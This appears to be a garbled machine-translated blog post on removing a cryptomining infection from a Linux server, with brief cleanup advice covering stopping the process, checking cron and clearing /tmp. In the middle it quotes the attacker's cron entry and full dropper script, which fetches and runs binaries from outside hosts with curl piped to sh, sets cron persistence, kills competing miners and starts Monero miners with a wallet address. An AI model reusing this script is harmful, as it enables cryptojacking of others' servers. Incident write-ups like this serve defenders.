How does the server LIUNX solve the problem of mining machines and the server liunx solves the problem of Mining

How does the server LIUNX solve the problem of mining machines and the server liunx solves the problem of Mining

Basically, it is difficult to open the connection terminal of the liunx Mining Machine (cpu carrying 300%) card.
After opening the website, I was prompted that I had paid for the xxx website, but basically this website was not accessible, either through brute force cracking or through redis port 6379 for details about the redis security vulnerability.

There is no doubt about this problem:

 
 

  
  
First, we need to make a messKill-stop pid for processes that occupy too much cpu is suspended, Do not try directlykill -9 pid 
  
  
cd /etc/cronView scheduled tasks/var/spool/cronYou can also see it here.
  
  
This is probably the content of an invalid scheduled task.
 */5 * * * * curl -fsSL http://www.hacker.com/ltc/minerd/pm.sh | sh 
Clearly stated, the previous*/5 * * * *You are familiar with it.
Curl is the command used to simulate browser requests on liunx.-fsSlThe download information is not displayed.| shRun after download
Let's take a look at the script content.
  
  
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0223 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0223 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/tmp/ddg.223" ]; then    curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.223fichmod +x /tmp/ddg.223 && /tmp/ddg.223CleanTail(){    ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9}DoYam(){    if [ ! -f "/tmp/AnXqV.yam" ]; then        curl -fsSL http://www.haveabitchin.com/yam -o /tmp/AnXqV.yam    fi    chmod +x /tmp/AnXqV.yam    /tmp/AnXqV.yam -c x -M stratum+tcp://44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM:x@xmr.crypto-pool.fr:443/xmr}DoMiner(){    if [ ! -f "/tmp/AnXqV" ]; then        curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV    fi    chmod +x /tmp/AnXqV    /tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM -p x}DoMinerNoAes(){    if [ ! -f "/tmp/AnXqV.noaes" ]; then        curl -fsSL http://www.haveabitchin.com/minerd.noaes -o /tmp/AnXqV.noaes    fi    chmod +x /tmp/AnXqV.noaes    /tmp/AnXqV.noaes -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM -p x}ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "AnXqV" || DoMinerps auxf|grep -v grep|grep "AnXqV" || DoYamps auxf|grep -v grep|grep "AnXqV" || DoMinerNoAes
 
  
  
Last/tmp/It's okay to delete all files in. Remember to usell -aDelete the hidden files.
 
 

That's right.